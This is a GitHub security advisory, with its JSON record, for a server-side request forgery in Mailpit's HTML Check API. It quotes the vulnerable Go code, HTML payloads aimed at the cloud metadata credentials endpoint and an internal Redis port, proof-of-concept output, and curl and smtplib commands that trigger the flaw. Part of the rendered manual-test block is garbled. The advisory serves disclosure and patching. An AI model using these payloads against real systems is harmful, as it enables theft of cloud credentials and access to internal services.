GHSA-6JXM-FV7W-RW5J

Vulnerability from github – Published: 2026-01-21 01:01 – Updated: 2026-02-02 14:50
VLAI
Summary
Mailpit has a Server-Side Request Forgery (SSRF) via HTML Check API
Details

Server-Side Request Forgery (SSRF) via HTML Check CSS Download

The HTML Check feature (/api/v1/message/{ID}/html-check) is designed to analyze HTML emails for compatibility. During this process, the inlineRemoteCSS() function automatically downloads CSS files from external <link rel="stylesheet" href="..."> tags to inline them for testing.

Affected Components

  • Primary File: internal/htmlcheck/css.go (lines 132-207)
  • API Endpoint: /api/v1/message/{ID}/html-check
  • Handler: server/apiv1/other.go (lines 38-75)
  • Vulnerable Functions:
  • inlineRemoteCSS() - line 132
  • downloadToBytes() - line 193
  • isURL() - line 221

Technical Details

1. Insufficient URL Validation (isURL() function):

// internal/htmlcheck/css.go:221-224
func isURL(str string) bool {
    u, err := url.Parse(str)
    return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Host != ""
}

2. Unrestricted Download (downloadToBytes() function):

// internal/htmlcheck/css.go:193-207
func downloadToBytes(url string) ([]byte, error) {
    client := http.Client{
        Timeout: 5 * time.Second,
    }

    // Get the link response data
    resp, err := client.Get(url)  // ⚠️ VULNERABLE - No IP validation
    if err != nil {
        return nil, err
    }
    defer func() { _ = resp.Body.Close() }()

    if resp.StatusCode != 200 {
        err := fmt.Errorf("error downloading %s", url)
        return nil, err
    }

    body, err := io.ReadAll(resp.Body)  // ⚠️ Downloads ENTIRE response
    if err != nil {
        return nil, err
    }

    return body, nil
}

3. Automatic CSS Processing:

// internal/htmlcheck/css.go:132-187
func inlineRemoteCSS(h string) (string, error) {
    reader := strings.NewReader(h)
    doc, err := goquery.NewDocumentFromReader(reader)
    if err != nil {
        return h, err
    }

    remoteCSS := doc.Find("link[rel=\"stylesheet\"]").Nodes
    for _, link := range remoteCSS {
        attributes := link.Attr
        for _, a := range attributes {
            if a.Key == "href" {
                if !isURL(a.Val) {  // ⚠️ Insufficient validation
                    continue
                }

                if config.BlockRemoteCSSAndFonts {
                    logger.Log().Debugf("[html-check] skip testing remote CSS content: %s (--block-remote-css-and-fonts)", a.Val)
                    return h, nil
                }

                resp, err := downloadToBytes(a.Val)  // ⚠️ Downloads from ANY URL
                if err != nil {
                    logger.Log().Warnf("[html-check] failed to download %s", a.Val)
                    continue
                }

                // Inlines the downloaded CSS
                styleBlock := &html.Node{
                    Type:     html.ElementNode,
                    Data:     "style",
                    DataAtom: atom.Style,
                }
                styleBlock.AppendChild(&html.Node{
                    Type: html.TextNode,
                    Data: string(resp),  // Downloaded content inserted
                })
                link.Parent.AppendChild(styleBlock)
            }
        }
    }

    return doc.Html()
}

Attack Vectors

Attack Vector 1: Cloud Metadata Credential Theft

Attacker sends HTML email with:

<!DOCTYPE html>
<html>
<head>
    <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role">
</head>
<body>Legitimate email content</body>
</html>

When HTML check is triggered: 1. Mailpit makes GET request to AWS metadata endpoint 2. Downloads IAM credentials as "CSS content" 3. Credentials logged or potentially leaked via error messages

Proof of Concept

A complete working exploit is provided in ssrf_htmlcheck_poc.py.

PoC Usage:

# Ensure Mailpit is running
# SMTP: localhost:1025
# HTTP API: localhost:8025

# Run the exploit
python3 ssrf_htmlcheck_poc.py

PoC Workflow:

  1. Starts SSRF listener on port 8888 to detect callbacks
  2. Sends malicious HTML emails containing: html <link rel="stylesheet" href="http://localhost:8888/malicious.css"> <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/"> <link rel="stylesheet" href="http://127.0.0.1:6379/">
  3. Triggers HTML check via API: GET /api/v1/message/{ID}/html-check
  4. Monitors callbacks and analyzes responses
  5. Demonstrates exploitation of:
  6. Local listener (proves SSRF)
  7. Cloud metadata endpoints
  8. Internal services (Redis, etc.)
  9. Private network ranges

Expected Output:

╔══════════════════════════════════════════════════════════════════════════════╗
║  Mailpit SSRF PoC - HTML Check CSS Download Vulnerability                   ║
║  Severity: MODERATE                                                              ║
║  File: internal/htmlcheck/css.go:193-207                                    ║
╚══════════════════════════════════════════════════════════════════════════════╝

[+] SSRF listener started on port 8888
[*] Testing SSRF with callback to local listener...

================================================================================
[*] Testing SSRF with target: http://localhost:8888/malicious.css
================================================================================
[+] Email sent with CSS link to: http://localhost:8888/malicious.css
[+] Message ID: abc123xyz
[*] Triggering HTML check: http://localhost:8025/api/v1/message/abc123xyz/html-check
[+] HTML check completed (Status: 200)

[SSRF-LISTENER] 127.0.0.1 - "GET /malicious.css HTTP/1.1" 200 -

[+] SUCCESS! SSRF confirmed - Received 1 callback(s):
    Path: /malicious.css
    User-Agent: Mailpit/dev

================================================================================
[*] Testing SSRF against internal/private targets...
================================================================================

⚠️  Note: These may timeout or fail, but Mailpit WILL attempt the connection

[+] Email sent with CSS link to: http://127.0.0.1:6379/
[+] Message ID: def456uvw
[*] Triggering HTML check: http://localhost:8025/api/v1/message/def456uvw/html-check
[!] Request timed out - target may be blocking or slow

Manual Testing:

```bash

1. Send malicious email

cat << 'EOF' | python3 - <<SENDMAIL import smtplib from email.mime.text import MIMEText

html = ''' <!DOCTYPE html>

Test

'''

msg = MIMEText(html, 'html') msg['Subject'] = 'SSRF Test' msg['From'] = 'test@test.com' msg['To'] = 'victim@test.com'

with smtplib.SMTP('localhost', 1025) as smtp: smtp.send_message(msg) SENDMAIL EOF

2. Get message ID

MESSAGE_ID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID')

3. Trigger SSRF

curl -v "http://localhost:8025/api/v1/message/$MESSAGE_ID/html-check"

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/axllent/mailpit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.28.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23845"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T01:01:26Z",
    "nvd_published_at": "2026-01-19T19:16:04Z",
    "severity": "MODERATE"
  },
  "details": "### Server-Side Request Forgery (SSRF) via HTML Check CSS Download\n\nThe HTML Check feature (`/api/v1/message/{ID}/html-check`) is designed to analyze HTML emails for compatibility. During this process, the `inlineRemoteCSS()` function automatically downloads CSS files from external `\u003clink rel=\"stylesheet\" href=\"...\"\u003e` tags to inline them for testing. \n\n\n#### Affected Components\n\n- **Primary File:** `internal/htmlcheck/css.go` (lines 132-207)\n- **API Endpoint:** `/api/v1/message/{ID}/html-check`\n- **Handler:** `server/apiv1/other.go` (lines 38-75)\n- **Vulnerable Functions:**\n  - `inlineRemoteCSS()` - line 132\n  - `downloadToBytes()` - line 193\n  - `isURL()` - line 221\n\n#### Technical Details\n\n**1. Insufficient URL Validation (`isURL()` function):**\n\n```go\n// internal/htmlcheck/css.go:221-224\nfunc isURL(str string) bool {\n    u, err := url.Parse(str)\n    return err == nil \u0026\u0026 (u.Scheme == \"http\" || u.Scheme == \"https\") \u0026\u0026 u.Host != \"\"\n}\n```\n\n\n**2. Unrestricted Download (`downloadToBytes()` function):**\n\n```go\n// internal/htmlcheck/css.go:193-207\nfunc downloadToBytes(url string) ([]byte, error) {\n    client := http.Client{\n        Timeout: 5 * time.Second,\n    }\n\n    // Get the link response data\n    resp, err := client.Get(url)  // \u26a0\ufe0f VULNERABLE - No IP validation\n    if err != nil {\n        return nil, err\n    }\n    defer func() { _ = resp.Body.Close() }()\n\n    if resp.StatusCode != 200 {\n        err := fmt.Errorf(\"error downloading %s\", url)\n        return nil, err\n    }\n\n    body, err := io.ReadAll(resp.Body)  // \u26a0\ufe0f Downloads ENTIRE response\n    if err != nil {\n        return nil, err\n    }\n\n    return body, nil\n}\n```\n\n**3. Automatic CSS Processing:**\n\n```go\n// internal/htmlcheck/css.go:132-187\nfunc inlineRemoteCSS(h string) (string, error) {\n    reader := strings.NewReader(h)\n    doc, err := goquery.NewDocumentFromReader(reader)\n    if err != nil {\n        return h, err\n    }\n\n    remoteCSS := doc.Find(\"link[rel=\\\"stylesheet\\\"]\").Nodes\n    for _, link := range remoteCSS {\n        attributes := link.Attr\n        for _, a := range attributes {\n            if a.Key == \"href\" {\n                if !isURL(a.Val) {  // \u26a0\ufe0f Insufficient validation\n                    continue\n                }\n\n                if config.BlockRemoteCSSAndFonts {\n                    logger.Log().Debugf(\"[html-check] skip testing remote CSS content: %s (--block-remote-css-and-fonts)\", a.Val)\n                    return h, nil\n                }\n\n                resp, err := downloadToBytes(a.Val)  // \u26a0\ufe0f Downloads from ANY URL\n                if err != nil {\n                    logger.Log().Warnf(\"[html-check] failed to download %s\", a.Val)\n                    continue\n                }\n\n                // Inlines the downloaded CSS\n                styleBlock := \u0026html.Node{\n                    Type:     html.ElementNode,\n                    Data:     \"style\",\n                    DataAtom: atom.Style,\n                }\n                styleBlock.AppendChild(\u0026html.Node{\n                    Type: html.TextNode,\n                    Data: string(resp),  // Downloaded content inserted\n                })\n                link.Parent.AppendChild(styleBlock)\n            }\n        }\n    }\n    \n    return doc.Html()\n}\n```\n\n\n#### Attack Vectors\n\n**Attack Vector 1: Cloud Metadata Credential Theft**\n\nAttacker sends HTML email with:\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n    \u003clink rel=\"stylesheet\" href=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role\"\u003e\n\u003c/head\u003e\n\u003cbody\u003eLegitimate email content\u003c/body\u003e\n\u003c/html\u003e\n```\n\nWhen HTML check is triggered:\n1. Mailpit makes GET request to AWS metadata endpoint\n2. Downloads IAM credentials as \"CSS content\"\n3. Credentials logged or potentially leaked via error messages\n\n\n\n#### Proof of Concept\n\nA complete working exploit is provided in `ssrf_htmlcheck_poc.py`.\n\n**PoC Usage:**\n\n```bash\n# Ensure Mailpit is running\n# SMTP: localhost:1025\n# HTTP API: localhost:8025\n\n# Run the exploit\npython3 ssrf_htmlcheck_poc.py\n```\n\n**PoC Workflow:**\n\n1. **Starts SSRF listener** on port 8888 to detect callbacks\n2. **Sends malicious HTML emails** containing:\n   ```html\n   \u003clink rel=\"stylesheet\" href=\"http://localhost:8888/malicious.css\"\u003e\n   \u003clink rel=\"stylesheet\" href=\"http://169.254.169.254/latest/meta-data/\"\u003e\n   \u003clink rel=\"stylesheet\" href=\"http://127.0.0.1:6379/\"\u003e\n   ```\n3. **Triggers HTML check** via API: `GET /api/v1/message/{ID}/html-check`\n4. **Monitors callbacks** and analyzes responses\n5. **Demonstrates exploitation** of:\n   - Local listener (proves SSRF)\n   - Cloud metadata endpoints\n   - Internal services (Redis, etc.)\n   - Private network ranges\n\n**Expected Output:**\n\n```\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551  Mailpit SSRF PoC - HTML Check CSS Download Vulnerability                   \u2551\n\u2551  Severity: MODERATE                                                              \u2551\n\u2551  File: internal/htmlcheck/css.go:193-207                                    \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\n[+] SSRF listener started on port 8888\n[*] Testing SSRF with callback to local listener...\n\n================================================================================\n[*] Testing SSRF with target: http://localhost:8888/malicious.css\n================================================================================\n[+] Email sent with CSS link to: http://localhost:8888/malicious.css\n[+] Message ID: abc123xyz\n[*] Triggering HTML check: http://localhost:8025/api/v1/message/abc123xyz/html-check\n[+] HTML check completed (Status: 200)\n\n[SSRF-LISTENER] 127.0.0.1 - \"GET /malicious.css HTTP/1.1\" 200 -\n\n[+] SUCCESS! SSRF confirmed - Received 1 callback(s):\n    Path: /malicious.css\n    User-Agent: Mailpit/dev\n\n================================================================================\n[*] Testing SSRF against internal/private targets...\n================================================================================\n\n\u26a0\ufe0f  Note: These may timeout or fail, but Mailpit WILL attempt the connection\n\n[+] Email sent with CSS link to: http://127.0.0.1:6379/\n[+] Message ID: def456uvw\n[*] Triggering HTML check: http://localhost:8025/api/v1/message/def456uvw/html-check\n[!] Request timed out - target may be blocking or slow\n```\n\n**Manual Testing:**\n\n```bash\n# 1. Send malicious email\ncat \u003c\u003c \u0027EOF\u0027 | python3 - \u003c\u003cSENDMAIL\nimport smtplib\nfrom email.mime.text import MIMEText\n\nhtml = \u0027\u0027\u0027\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n    \u003clink rel=\"stylesheet\" href=\"http://169.254.169.254/latest/meta-data/\"\u003e\n\u003c/head\u003e\n\u003cbody\u003eTest\u003c/body\u003e\n\u003c/html\u003e\n\u0027\u0027\u0027\n\nmsg = MIMEText(html, \u0027html\u0027)\nmsg[\u0027Subject\u0027] = \u0027SSRF Test\u0027\nmsg[\u0027From\u0027] = \u0027test@test.com\u0027\nmsg[\u0027To\u0027] = \u0027victim@test.com\u0027\n\nwith smtplib.SMTP(\u0027localhost\u0027, 1025) as smtp:\n    smtp.send_message(msg)\nSENDMAIL\nEOF\n\n# 2. Get message ID\nMESSAGE_ID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r \u0027.messages[0].ID\u0027)\n\n# 3. Trigger SSRF\ncurl -v \"http://localhost:8025/api/v1/message/$MESSAGE_ID/html-check\"",
  "id": "GHSA-6jxm-fv7w-rw5j",
  "modified": "2026-02-02T14:50:55Z",
  "published": "2026-01-21T01:01:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-6jxm-fv7w-rw5j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23845"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/commit/1679a0aba592ebc8487a996d37fea8318c984dfe"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axllent/mailpit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/releases/tag/v1.28.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mailpit has a Server-Side Request Forgery (SSRF) via HTML Check API"
}



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